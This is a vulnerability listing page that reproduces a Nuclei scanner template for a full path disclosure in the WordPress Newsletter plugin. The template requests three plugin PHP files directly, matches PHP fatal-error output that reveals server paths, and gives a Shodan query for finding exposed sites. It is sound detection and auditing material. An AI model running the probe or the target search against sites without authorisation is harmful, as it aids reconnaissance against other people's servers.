wp-newsletter-fpd: WordPress Plugin Newsletter - Full Path Disclosure

2026-01-08 WordPress Plugin Newsletter PoC Public

Description

WordPress Plugin Newsletter plugin files are publicly accessible without ABSPATH protection, exposing sensitive server path information through PHP error messages when accessed directly.

PoC

id: wp-newsletter-fpd

info:
  name: WordPress Plugin Newsletter - Full Path Disclosure
  author: DhiyaneshDk
  severity: low
  description: |
    WordPress Plugin Newsletter plugin files are publicly accessible without ABSPATH protection, exposing sensitive server path information through PHP error messages when accessed directly.
  reference:
    - https://wordpress.org/plugins/newsletter/
  metadata:
    max-request: 1
    verified: true
    shodan-query: html:"/plugins/newsletter/"
  tags: debug,wordpress,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/newsletter/admin.php"
      - "{{BaseURL}}/wp-content/plugins/newsletter/emails/blocks/footer/block.php"
      - "{{BaseURL}}/wp-content/plugins/newsletter/emails/blocks/cta/block.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/plugins/newsletter/")'
          - 'contains_all(body, "Fatal error", "Uncaught Error:")'
        condition: and
# digest: 490a004630440220073814c58d4a3db2335987604b3f7a0caed4a2844c9f4883b5403f88b4894ad502203ba193b0134f194f9db303bb334ee0f4b1723e252cf0f8ae4faec18a64a92aa4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wp-newsletter-fpd.yaml

References

Related Vulnerabilities